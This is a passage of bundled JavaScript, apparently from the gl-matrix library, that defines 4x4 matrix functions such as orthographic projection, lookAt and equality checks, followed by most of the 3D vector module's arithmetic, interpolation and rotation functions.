lr; out[13] = (top + bottom) * bt; out[14] = (far + near) * nf; out[15] = 1; return out; } /** * Alias for {@link mat4.orthoNO} * @function */ var ortho = orthoNO; /** * Generates a orthogonal projection matrix with the given bounds. * The near/far clip planes correspond to a normalized device coordinate Z range of [0, 1], * which matches WebGPU/Vulkan/DirectX/Metal's clip volume. * * @param {mat4} out mat4 frustum matrix will be written into * @param {number} left Left bound of the frustum * @param {number} right Right bound of the frustum * @param {number} bottom Bottom bound of the frustum * @param {number} top Top bound of the frustum * @param {number} near Near bound of the frustum * @param {number} far Far bound of the frustum * @returns {mat4} out */ function orthoZO(out, left, right, bottom, top, near, far) { var lr = 1 / (left - right); var bt = 1 / (bottom - top); var nf = 1 / (near - far); out[0] = -2 * lr; out[1] = 0; out[2] = 0; out[3] = 0; out[4] = 0; out[5] = -2 * bt; out[6] = 0; out[7] = 0; out[8] = 0; out[9] = 0; out[10] = nf; out[11] = 0; out[12] = (left + right) * lr; out[13] = (top + bottom) * bt; out[14] = near * nf; out[15] = 1; return out; } /** * Generates a look-at matrix with the given eye position, focal point, and up axis. * If you want a matrix that actually makes an object look at another object, you should use targetTo instead. * * @param {mat4} out mat4 frustum matrix will be written into * @param {ReadonlyVec3} eye Position of the viewer * @param {ReadonlyVec3} center Point the viewer is looking at * @param {ReadonlyVec3} up vec3 pointing up * @returns {mat4} out */ function lookAt(out, eye, center, up) { var x0, x1, x2, y0, y1, y2, z0, z1, z2, len; var eyex = eye[0]; var eyey = eye[1]; var eyez = eye[2]; var upx = up[0]; var upy = up[1]; var upz = up[2]; var centerx = center[0]; var centery = center[1]; var centerz = center[2]; if (Math.abs(eyex - centerx) < EPSILON && Math.abs(eyey - centery) < EPSILON && Math.abs(eyez - centerz) < EPSILON) { return identity$2(out); } z0 = eyex - centerx; z1 = eyey - centery; z2 = eyez - centerz; len = 1 / Math.hypot(z0, z1, z2); z0 *= len; z1 *= len; z2 *= len; x0 = upy * z2 - upz * z1; x1 = upz * z0 - upx * z2; x2 = upx * z1 - upy * z0; len = Math.hypot(x0, x1, x2); if (!len) { x0 = 0; x1 = 0; x2 = 0; } else { len = 1 / len; x0 *= len; x1 *= len; x2 *= len; } y0 = z1 * x2 - z2 * x1; y1 = z2 * x0 - z0 * x2; y2 = z0 * x1 - z1 * x0; len = Math.hypot(y0, y1, y2); if (!len) { y0 = 0; y1 = 0; y2 = 0; } else { len = 1 / len; y0 *= len; y1 *= len; y2 *= len; } out[0] = x0; out[1] = y0; out[2] = z0; out[3] = 0; out[4] = x1; out[5] = y1; out[6] = z1; out[7] = 0; out[8] = x2; out[9] = y2; out[10] = z2; out[11] = 0; out[12] = -(x0 * eyex + x1 * eyey + x2 * eyez); out[13] = -(y0 * eyex + y1 * eyey + y2 * eyez); out[14] = -(z0 * eyex + z1 * eyey + z2 * eyez); out[15] = 1; return out; } /** * Generates a matrix that makes something look at something else. * * @param {mat4} out mat4 frustum matrix will be written into * @param {ReadonlyVec3} eye Position of the viewer * @param {ReadonlyVec3} center Point the viewer is looking at * @param {ReadonlyVec3} up vec3 pointing up * @returns {mat4} out */ function targetTo(out, eye, target, up) { var eyex = eye[0], eyey = eye[1], eyez = eye[2], upx = up[0], upy = up[1], upz = up[2]; var z0 = eyex - target[0], z1 = eyey - target[1], z2 = eyez - target[2]; var len = z0 * z0 + z1 * z1 + z2 * z2; if (len > 0) { len = 1 / Math.sqrt(len); z0 *= len; z1 *= len; z2 *= len; } var x0 = upy * z2 - upz * z1, x1 = upz * z0 - upx * z2, x2 = upx * z1 - upy * z0; len = x0 * x0 + x1 * x1 + x2 * x2; if (len > 0) { len = 1 / Math.sqrt(len); x0 *= len; x1 *= len; x2 *= len; } out[0] = x0; out[1] = x1; out[2] = x2; out[3] = 0; out[4] = z1 * x2 - z2 * x1; out[5] = z2 * x0 - z0 * x2; out[6] = z0 * x1 - z1 * x0; out[7] = 0; out[8] = z0; out[9] = z1; out[10] = z2; out[11] = 0; out[12] = eyex; out[13] = eyey; out[14] = eyez; out[15] = 1; return out; } /** * Returns a string representation of a mat4 * * @param {ReadonlyMat4} a matrix to represent as a string * @returns {String} string representation of the matrix */ function str$5(a) { return "mat4(" + a[0] + ", " + a[1] + ", " + a[2] + ", " + a[3] + ", " + a[4] + ", " + a[5] + ", " + a[6] + ", " + a[7] + ", " + a[8] + ", " + a[9] + ", " + a[10] + ", " + a[11] + ", " + a[12] + ", " + a[13] + ", " + a[14] + ", " + a[15] + ")"; } /** * Returns Frobenius norm of a mat4 * * @param {ReadonlyMat4} a the matrix to calculate Frobenius norm of * @returns {Number} Frobenius norm */ function frob(a) { return Math.hypot(a[0], a[1], a[2], a[3], a[4], a[5], a[6], a[7], a[8], a[9], a[10], a[11], a[12], a[13], a[14], a[15]); } /** * Adds two mat4's * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the first operand * @param {ReadonlyMat4} b the second operand * @returns {mat4} out */ function add$5(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; out[3] = a[3] + b[3]; out[4] = a[4] + b[4]; out[5] = a[5] + b[5]; out[6] = a[6] + b[6]; out[7] = a[7] + b[7]; out[8] = a[8] + b[8]; out[9] = a[9] + b[9]; out[10] = a[10] + b[10]; out[11] = a[11] + b[11]; out[12] = a[12] + b[12]; out[13] = a[13] + b[13]; out[14] = a[14] + b[14]; out[15] = a[15] + b[15]; return out; } /** * Subtracts matrix b from matrix a * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the first operand * @param {ReadonlyMat4} b the second operand * @returns {mat4} out */ function subtract$3(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; out[3] = a[3] - b[3]; out[4] = a[4] - b[4]; out[5] = a[5] - b[5]; out[6] = a[6] - b[6]; out[7] = a[7] - b[7]; out[8] = a[8] - b[8]; out[9] = a[9] - b[9]; out[10] = a[10] - b[10]; out[11] = a[11] - b[11]; out[12] = a[12] - b[12]; out[13] = a[13] - b[13]; out[14] = a[14] - b[14]; out[15] = a[15] - b[15]; return out; } /** * Multiply each element of the matrix by a scalar. * * @param {mat4} out the receiving matrix * @param {ReadonlyMat4} a the matrix to scale * @param {Number} b amount to scale the matrix's elements by * @returns {mat4} out */ function multiplyScalar(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; out[3] = a[3] * b; out[4] = a[4] * b; out[5] = a[5] * b; out[6] = a[6] * b; out[7] = a[7] * b; out[8] = a[8] * b; out[9] = a[9] * b; out[10] = a[10] * b; out[11] = a[11] * b; out[12] = a[12] * b; out[13] = a[13] * b; out[14] = a[14] * b; out[15] = a[15] * b; return out; } /** * Adds two mat4's after multiplying each element of the second operand by a scalar value. * * @param {mat4} out the receiving vector * @param {ReadonlyMat4} a the first operand * @param {ReadonlyMat4} b the second operand * @param {Number} scale the amount to scale b's elements by before adding * @returns {mat4} out */ function multiplyScalarAndAdd(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; out[3] = a[3] + b[3] * scale; out[4] = a[4] + b[4] * scale; out[5] = a[5] + b[5] * scale; out[6] = a[6] + b[6] * scale; out[7] = a[7] + b[7] * scale; out[8] = a[8] + b[8] * scale; out[9] = a[9] + b[9] * scale; out[10] = a[10] + b[10] * scale; out[11] = a[11] + b[11] * scale; out[12] = a[12] + b[12] * scale; out[13] = a[13] + b[13] * scale; out[14] = a[14] + b[14] * scale; out[15] = a[15] + b[15] * scale; return out; } /** * Returns whether or not the matrices have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyMat4} a The first matrix. * @param {ReadonlyMat4} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function exactEquals$5(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2] && a[3] === b[3] && a[4] === b[4] && a[5] === b[5] && a[6] === b[6] && a[7] === b[7] && a[8] === b[8] && a[9] === b[9] && a[10] === b[10] && a[11] === b[11] && a[12] === b[12] && a[13] === b[13] && a[14] === b[14] && a[15] === b[15]; } /** * Returns whether or not the matrices have approximately the same elements in the same position. * * @param {ReadonlyMat4} a The first matrix. * @param {ReadonlyMat4} b The second matrix. * @returns {Boolean} True if the matrices are equal, false otherwise. */ function equals$5(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2], a3 = a[3]; var a4 = a[4], a5 = a[5], a6 = a[6], a7 = a[7]; var a8 = a[8], a9 = a[9], a10 = a[10], a11 = a[11]; var a12 = a[12], a13 = a[13], a14 = a[14], a15 = a[15]; var b0 = b[0], b1 = b[1], b2 = b[2], b3 = b[3]; var b4 = b[4], b5 = b[5], b6 = b[6], b7 = b[7]; var b8 = b[8], b9 = b[9], b10 = b[10], b11 = b[11]; var b12 = b[12], b13 = b[13], b14 = b[14], b15 = b[15]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)) && Math.abs(a3 - b3) <= EPSILON * Math.max(1.0, Math.abs(a3), Math.abs(b3)) && Math.abs(a4 - b4) <= EPSILON * Math.max(1.0, Math.abs(a4), Math.abs(b4)) && Math.abs(a5 - b5) <= EPSILON * Math.max(1.0, Math.abs(a5), Math.abs(b5)) && Math.abs(a6 - b6) <= EPSILON * Math.max(1.0, Math.abs(a6), Math.abs(b6)) && Math.abs(a7 - b7) <= EPSILON * Math.max(1.0, Math.abs(a7), Math.abs(b7)) && Math.abs(a8 - b8) <= EPSILON * Math.max(1.0, Math.abs(a8), Math.abs(b8)) && Math.abs(a9 - b9) <= EPSILON * Math.max(1.0, Math.abs(a9), Math.abs(b9)) && Math.abs(a10 - b10) <= EPSILON * Math.max(1.0, Math.abs(a10), Math.abs(b10)) && Math.abs(a11 - b11) <= EPSILON * Math.max(1.0, Math.abs(a11), Math.abs(b11)) && Math.abs(a12 - b12) <= EPSILON * Math.max(1.0, Math.abs(a12), Math.abs(b12)) && Math.abs(a13 - b13) <= EPSILON * Math.max(1.0, Math.abs(a13), Math.abs(b13)) && Math.abs(a14 - b14) <= EPSILON * Math.max(1.0, Math.abs(a14), Math.abs(b14)) && Math.abs(a15 - b15) <= EPSILON * Math.max(1.0, Math.abs(a15), Math.abs(b15)); } /** * Alias for {@link mat4.multiply} * @function */ var mul$5 = multiply$5; /** * Alias for {@link mat4.subtract} * @function */ var sub$3 = subtract$3; var mat4 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$5, clone: clone$5, copy: copy$5, fromValues: fromValues$5, set: set$5, identity: identity$2, transpose: transpose, invert: invert$2, adjoint: adjoint, determinant: determinant, multiply: multiply$5, translate: translate$1, scale: scale$5, rotate: rotate$1, rotateX: rotateX$3, rotateY: rotateY$3, rotateZ: rotateZ$3, fromTranslation: fromTranslation$1, fromScaling: fromScaling, fromRotation: fromRotation$1, fromXRotation: fromXRotation, fromYRotation: fromYRotation, fromZRotation: fromZRotation, fromRotationTranslation: fromRotationTranslation$1, fromQuat2: fromQuat2, getTranslation: getTranslation$1, getScaling: getScaling, getRotation: getRotation, decompose: decompose, fromRotationTranslationScale: fromRotationTranslationScale, fromRotationTranslationScaleOrigin: fromRotationTranslationScaleOrigin, fromQuat: fromQuat, frustum: frustum, perspectiveNO: perspectiveNO, perspective: perspective, perspectiveZO: perspectiveZO, perspectiveFromFieldOfView: perspectiveFromFieldOfView, orthoNO: orthoNO, ortho: ortho, orthoZO: orthoZO, lookAt: lookAt, targetTo: targetTo, str: str$5, frob: frob, add: add$5, subtract: subtract$3, multiplyScalar: multiplyScalar, multiplyScalarAndAdd: multiplyScalarAndAdd, exactEquals: exactEquals$5, equals: equals$5, mul: mul$5, sub: sub$3 }); /** * 3 Dimensional Vector * @module vec3 */ /** * Creates a new, empty vec3 * * @returns {vec3} a new 3D vector */ function create$4() { var out = new ARRAY_TYPE(3); if (ARRAY_TYPE != Float32Array) { out[0] = 0; out[1] = 0; out[2] = 0; } return out; } /** * Creates a new vec3 initialized with values from an existing vector * * @param {ReadonlyVec3} a vector to clone * @returns {vec3} a new 3D vector */ function clone$4(a) { var out = new ARRAY_TYPE(3); out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; return out; } /** * Calculates the length of a vec3 * * @param {ReadonlyVec3} a vector to calculate length of * @returns {Number} length of a */ function length$4(a) { var x = a[0]; var y = a[1]; var z = a[2]; return Math.hypot(x, y, z); } /** * Creates a new vec3 initialized with the given values * * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @returns {vec3} a new 3D vector */ function fromValues$4(x, y, z) { var out = new ARRAY_TYPE(3); out[0] = x; out[1] = y; out[2] = z; return out; } /** * Copy the values from one vec3 to another * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the source vector * @returns {vec3} out */ function copy$4(out, a) { out[0] = a[0]; out[1] = a[1]; out[2] = a[2]; return out; } /** * Set the components of a vec3 to the given values * * @param {vec3} out the receiving vector * @param {Number} x X component * @param {Number} y Y component * @param {Number} z Z component * @returns {vec3} out */ function set$4(out, x, y, z) { out[0] = x; out[1] = y; out[2] = z; return out; } /** * Adds two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function add$4(out, a, b) { out[0] = a[0] + b[0]; out[1] = a[1] + b[1]; out[2] = a[2] + b[2]; return out; } /** * Subtracts vector b from vector a * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function subtract$2(out, a, b) { out[0] = a[0] - b[0]; out[1] = a[1] - b[1]; out[2] = a[2] - b[2]; return out; } /** * Multiplies two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function multiply$4(out, a, b) { out[0] = a[0] * b[0]; out[1] = a[1] * b[1]; out[2] = a[2] * b[2]; return out; } /** * Divides two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function divide$2(out, a, b) { out[0] = a[0] / b[0]; out[1] = a[1] / b[1]; out[2] = a[2] / b[2]; return out; } /** * Math.ceil the components of a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to ceil * @returns {vec3} out */ function ceil$2(out, a) { out[0] = Math.ceil(a[0]); out[1] = Math.ceil(a[1]); out[2] = Math.ceil(a[2]); return out; } /** * Math.floor the components of a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to floor * @returns {vec3} out */ function floor$2(out, a) { out[0] = Math.floor(a[0]); out[1] = Math.floor(a[1]); out[2] = Math.floor(a[2]); return out; } /** * Returns the minimum of two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function min$2(out, a, b) { out[0] = Math.min(a[0], b[0]); out[1] = Math.min(a[1], b[1]); out[2] = Math.min(a[2], b[2]); return out; } /** * Returns the maximum of two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function max$2(out, a, b) { out[0] = Math.max(a[0], b[0]); out[1] = Math.max(a[1], b[1]); out[2] = Math.max(a[2], b[2]); return out; } /** * Math.round the components of a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to round * @returns {vec3} out */ function round$2(out, a) { out[0] = Math.round(a[0]); out[1] = Math.round(a[1]); out[2] = Math.round(a[2]); return out; } /** * Scales a vec3 by a scalar number * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the vector to scale * @param {Number} b amount to scale the vector by * @returns {vec3} out */ function scale$4(out, a, b) { out[0] = a[0] * b; out[1] = a[1] * b; out[2] = a[2] * b; return out; } /** * Adds two vec3's after scaling the second operand by a scalar value * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @param {Number} scale the amount to scale b by before adding * @returns {vec3} out */ function scaleAndAdd$2(out, a, b, scale) { out[0] = a[0] + b[0] * scale; out[1] = a[1] + b[1] * scale; out[2] = a[2] + b[2] * scale; return out; } /** * Calculates the euclidian distance between two vec3's * * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {Number} distance between a and b */ function distance$2(a, b) { var x = b[0] - a[0]; var y = b[1] - a[1]; var z = b[2] - a[2]; return Math.hypot(x, y, z); } /** * Calculates the squared euclidian distance between two vec3's * * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {Number} squared distance between a and b */ function squaredDistance$2(a, b) { var x = b[0] - a[0]; var y = b[1] - a[1]; var z = b[2] - a[2]; return x * x + y * y + z * z; } /** * Calculates the squared length of a vec3 * * @param {ReadonlyVec3} a vector to calculate squared length of * @returns {Number} squared length of a */ function squaredLength$4(a) { var x = a[0]; var y = a[1]; var z = a[2]; return x * x + y * y + z * z; } /** * Negates the components of a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to negate * @returns {vec3} out */ function negate$2(out, a) { out[0] = -a[0]; out[1] = -a[1]; out[2] = -a[2]; return out; } /** * Returns the inverse of the components of a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to invert * @returns {vec3} out */ function inverse$2(out, a) { out[0] = 1.0 / a[0]; out[1] = 1.0 / a[1]; out[2] = 1.0 / a[2]; return out; } /** * Normalize a vec3 * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a vector to normalize * @returns {vec3} out */ function normalize$4(out, a) { var x = a[0]; var y = a[1]; var z = a[2]; var len = x * x + y * y + z * z; if (len > 0) { //TODO: evaluate use of glm_invsqrt here? len = 1 / Math.sqrt(len); } out[0] = a[0] * len; out[1] = a[1] * len; out[2] = a[2] * len; return out; } /** * Calculates the dot product of two vec3's * * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {Number} dot product of a and b */ function dot$4(a, b) { return a[0] * b[0] + a[1] * b[1] + a[2] * b[2]; } /** * Computes the cross product of two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @returns {vec3} out */ function cross$2(out, a, b) { var ax = a[0], ay = a[1], az = a[2]; var bx = b[0], by = b[1], bz = b[2]; out[0] = ay * bz - az * by; out[1] = az * bx - ax * bz; out[2] = ax * by - ay * bx; return out; } /** * Performs a linear interpolation between two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec3} out */ function lerp$4(out, a, b, t) { var ax = a[0]; var ay = a[1]; var az = a[2]; out[0] = ax + t * (b[0] - ax); out[1] = ay + t * (b[1] - ay); out[2] = az + t * (b[2] - az); return out; } /** * Performs a spherical linear interpolation between two vec3's * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec3} out */ function slerp$1(out, a, b, t) { var angle = Math.acos(Math.min(Math.max(dot$4(a, b), -1), 1)); var sinTotal = Math.sin(angle); var ratioA = Math.sin((1 - t) * angle) / sinTotal; var ratioB = Math.sin(t * angle) / sinTotal; out[0] = ratioA * a[0] + ratioB * b[0]; out[1] = ratioA * a[1] + ratioB * b[1]; out[2] = ratioA * a[2] + ratioB * b[2]; return out; } /** * Performs a hermite interpolation with two control points * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @param {ReadonlyVec3} c the third operand * @param {ReadonlyVec3} d the fourth operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec3} out */ function hermite(out, a, b, c, d, t) { var factorTimes2 = t * t; var factor1 = factorTimes2 * (2 * t - 3) + 1; var factor2 = factorTimes2 * (t - 2) + t; var factor3 = factorTimes2 * (t - 1); var factor4 = factorTimes2 * (3 - 2 * t); out[0] = a[0] * factor1 + b[0] * factor2 + c[0] * factor3 + d[0] * factor4; out[1] = a[1] * factor1 + b[1] * factor2 + c[1] * factor3 + d[1] * factor4; out[2] = a[2] * factor1 + b[2] * factor2 + c[2] * factor3 + d[2] * factor4; return out; } /** * Performs a bezier interpolation with two control points * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the first operand * @param {ReadonlyVec3} b the second operand * @param {ReadonlyVec3} c the third operand * @param {ReadonlyVec3} d the fourth operand * @param {Number} t interpolation amount, in the range [0-1], between the two inputs * @returns {vec3} out */ function bezier(out, a, b, c, d, t) { var inverseFactor = 1 - t; var inverseFactorTimesTwo = inverseFactor * inverseFactor; var factorTimes2 = t * t; var factor1 = inverseFactorTimesTwo * inverseFactor; var factor2 = 3 * t * inverseFactorTimesTwo; var factor3 = 3 * factorTimes2 * inverseFactor; var factor4 = factorTimes2 * t; out[0] = a[0] * factor1 + b[0] * factor2 + c[0] * factor3 + d[0] * factor4; out[1] = a[1] * factor1 + b[1] * factor2 + c[1] * factor3 + d[1] * factor4; out[2] = a[2] * factor1 + b[2] * factor2 + c[2] * factor3 + d[2] * factor4; return out; } /** * Generates a random vector with the given scale * * @param {vec3} out the receiving vector * @param {Number} [scale] Length of the resulting vector. If omitted, a unit vector will be returned * @returns {vec3} out */ function random$3(out, scale) { scale = scale === undefined ? 1.0 : scale; var r = RANDOM() * 2.0 * Math.PI; var z = RANDOM() * 2.0 - 1.0; var zScale = Math.sqrt(1.0 - z * z) * scale; out[0] = Math.cos(r) * zScale; out[1] = Math.sin(r) * zScale; out[2] = z * scale; return out; } /** * Transforms the vec3 with a mat4. * 4th vector component is implicitly '1' * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the vector to transform * @param {ReadonlyMat4} m matrix to transform with * @returns {vec3} out */ function transformMat4$2(out, a, m) { var x = a[0], y = a[1], z = a[2]; var w = m[3] * x + m[7] * y + m[11] * z + m[15]; w = w || 1.0; out[0] = (m[0] * x + m[4] * y + m[8] * z + m[12]) / w; out[1] = (m[1] * x + m[5] * y + m[9] * z + m[13]) / w; out[2] = (m[2] * x + m[6] * y + m[10] * z + m[14]) / w; return out; } /** * Transforms the vec3 with a mat3. * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the vector to transform * @param {ReadonlyMat3} m the 3x3 matrix to transform with * @returns {vec3} out */ function transformMat3$1(out, a, m) { var x = a[0], y = a[1], z = a[2]; out[0] = x * m[0] + y * m[3] + z * m[6]; out[1] = x * m[1] + y * m[4] + z * m[7]; out[2] = x * m[2] + y * m[5] + z * m[8]; return out; } /** * Transforms the vec3 with a quat * Can also be used for dual quaternions. (Multiply it with the real part) * * @param {vec3} out the receiving vector * @param {ReadonlyVec3} a the vector to transform * @param {ReadonlyQuat} q quaternion to transform with * @returns {vec3} out */ function transformQuat$1(out, a, q) { // benchmarks: path_to_url var qx = q[0], qy = q[1], qz = q[2], qw = q[3]; var x = a[0], y = a[1], z = a[2]; // var qvec = [qx, qy, qz]; // var uv = vec3.cross([], qvec, a); var uvx = qy * z - qz * y, uvy = qz * x - qx * z, uvz = qx * y - qy * x; // var uuv = vec3.cross([], qvec, uv); var uuvx = qy * uvz - qz * uvy, uuvy = qz * uvx - qx * uvz, uuvz = qx * uvy - qy * uvx; // vec3.scale(uv, uv, 2 * w); var w2 = qw * 2; uvx *= w2; uvy *= w2; uvz *= w2; // vec3.scale(uuv, uuv, 2); uuvx *= 2; uuvy *= 2; uuvz *= 2; // return vec3.add(out, a, vec3.add(out, uv, uuv)); out[0] = x + uvx + uuvx; out[1] = y + uvy + uuvy; out[2] = z + uvz + uuvz; return out; } /** * Rotate a 3D vector around the x-axis * @param {vec3} out The receiving vec3 * @param {ReadonlyVec3} a The vec3 point to rotate * @param {ReadonlyVec3} b The origin of the rotation * @param {Number} rad The angle of rotation in radians * @returns {vec3} out */ function rotateX$2(out, a, b, rad) { var p = [], r = []; //Translate point to the origin p[0] = a[0] - b[0]; p[1] = a[1] - b[1]; p[2] = a[2] - b[2]; //perform rotation r[0] = p[0]; r[1] = p[1] * Math.cos(rad) - p[2] * Math.sin(rad); r[2] = p[1] * Math.sin(rad) + p[2] * Math.cos(rad); //translate to correct position out[0] = r[0] + b[0]; out[1] = r[1] + b[1]; out[2] = r[2] + b[2]; return out; } /** * Rotate a 3D vector around the y-axis * @param {vec3} out The receiving vec3 * @param {ReadonlyVec3} a The vec3 point to rotate * @param {ReadonlyVec3} b The origin of the rotation * @param {Number} rad The angle of rotation in radians * @returns {vec3} out */ function rotateY$2(out, a, b, rad) { var p = [], r = []; //Translate point to the origin p[0] = a[0] - b[0]; p[1] = a[1] - b[1]; p[2] = a[2] - b[2]; //perform rotation r[0] = p[2] * Math.sin(rad) + p[0] * Math.cos(rad); r[1] = p[1]; r[2] = p[2] * Math.cos(rad) - p[0] * Math.sin(rad); //translate to correct position out[0] = r[0] + b[0]; out[1] = r[1] + b[1]; out[2] = r[2] + b[2]; return out; } /** * Rotate a 3D vector around the z-axis * @param {vec3} out The receiving vec3 * @param {ReadonlyVec3} a The vec3 point to rotate * @param {ReadonlyVec3} b The origin of the rotation * @param {Number} rad The angle of rotation in radians * @returns {vec3} out */ function rotateZ$2(out, a, b, rad) { var p = [], r = []; //Translate point to the origin p[0] = a[0] - b[0]; p[1] = a[1] - b[1]; p[2] = a[2] - b[2]; //perform rotation r[0] = p[0] * Math.cos(rad) - p[1] * Math.sin(rad); r[1] = p[0] * Math.sin(rad) + p[1] * Math.cos(rad); r[2] = p[2]; //translate to correct position out[0] = r[0] + b[0]; out[1] = r[1] + b[1]; out[2] = r[2] + b[2]; return out; } /** * Get the angle between two 3D vectors * @param {ReadonlyVec3} a The first operand * @param {ReadonlyVec3} b The second operand * @returns {Number} The angle in radians */ function angle$1(a, b) { var ax = a[0], ay = a[1], az = a[2], bx = b[0], by = b[1], bz = b[2], mag = Math.sqrt((ax * ax + ay * ay + az * az) * (bx * bx + by * by + bz * bz)), cosine = mag && dot$4(a, b) / mag; return Math.acos(Math.min(Math.max(cosine, -1), 1)); } /** * Set the components of a vec3 to zero * * @param {vec3} out the receiving vector * @returns {vec3} out */ function zero$2(out) { out[0] = 0.0; out[1] = 0.0; out[2] = 0.0; return out; } /** * Returns a string representation of a vector * * @param {ReadonlyVec3} a vector to represent as a string * @returns {String} string representation of the vector */ function str$4(a) { return "vec3(" + a[0] + ", " + a[1] + ", " + a[2] + ")"; } /** * Returns whether or not the vectors have exactly the same elements in the same position (when compared with ===) * * @param {ReadonlyVec3} a The first vector. * @param {ReadonlyVec3} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function exactEquals$4(a, b) { return a[0] === b[0] && a[1] === b[1] && a[2] === b[2]; } /** * Returns whether or not the vectors have approximately the same elements in the same position. * * @param {ReadonlyVec3} a The first vector. * @param {ReadonlyVec3} b The second vector. * @returns {Boolean} True if the vectors are equal, false otherwise. */ function equals$4(a, b) { var a0 = a[0], a1 = a[1], a2 = a[2]; var b0 = b[0], b1 = b[1], b2 = b[2]; return Math.abs(a0 - b0) <= EPSILON * Math.max(1.0, Math.abs(a0), Math.abs(b0)) && Math.abs(a1 - b1) <= EPSILON * Math.max(1.0, Math.abs(a1), Math.abs(b1)) && Math.abs(a2 - b2) <= EPSILON * Math.max(1.0, Math.abs(a2), Math.abs(b2)); } /** * Alias for {@link vec3.subtract} * @function */ var sub$2 = subtract$2; /** * Alias for {@link vec3.multiply} * @function */ var mul$4 = multiply$4; /** * Alias for {@link vec3.divide} * @function */ var div$2 = divide$2; /** * Alias for {@link vec3.distance} * @function */ var dist$2 = distance$2; /** * Alias for {@link vec3.squaredDistance} * @function */ var sqrDist$2 = squaredDistance$2; /** * Alias for {@link vec3.length} * @function */ var len$4 = length$4; /** * Alias for {@link vec3.squaredLength} * @function */ var sqrLen$4 = squaredLength$4; /** * Perform some operation over an array of vec3s. * * @param {Array} a the array of vectors to iterate over * @param {Number} stride Number of elements between the start of each vec3. If 0 assumes tightly packed * @param {Number} offset Number of elements to skip at the beginning of the array * @param {Number} count Number of vec3s to iterate over. If 0 iterates over entire array * @param {Function} fn Function to call for each vector in the array * @param {Object} [arg] additional argument to pass to fn * @returns {Array} a * @function */ var forEach$2 = function () { var vec = create$4(); return function (a, stride, offset, count, fn, arg) { var i, l; if (!stride) { stride = 3; } if (!offset) { offset = 0; } if (count) { l = Math.min(count * stride + offset, a.length); } else { l = a.length; } for (i = offset; i < l; i += stride) { vec[0] = a[i]; vec[1] = a[i + 1]; vec[2] = a[i + 2]; fn(vec, vec, arg); a[i] = vec[0]; a[i + 1] = vec[1]; a[i + 2] = vec[2]; } return a; }; }(); var vec3 = /*#__PURE__*/Object.freeze({ __proto__: null, create: create$4, clone: clone$4, length: length$4, fromValues: fromValues$4, copy: copy$4, set: set$4, add: add$4, subtract: subtract$2, multiply: multiply$4, divide: divide$2, ceil: ceil$2, floor: floor$2, min: min$2, max: max$2, round: round$2, scale: scale$4, scaleAndAdd: scaleAndAdd$2, distance: distance$2, squaredDistance: squaredDistance$2, squaredLength: squaredLength$4, negate: negate$2, inverse: inverse$2, normalize: normalize$4, dot: dot$4, cross: cross$2, lerp: lerp$4, slerp: slerp$1, hermite: hermite, bezier: bezier, random: random$3, transformMat4: transformMat4$2, transformMat3: transformMat3$1, transformQuat: transformQuat$1, rotateX: rotateX$2, rotateY: rotateY$2, rotateZ: 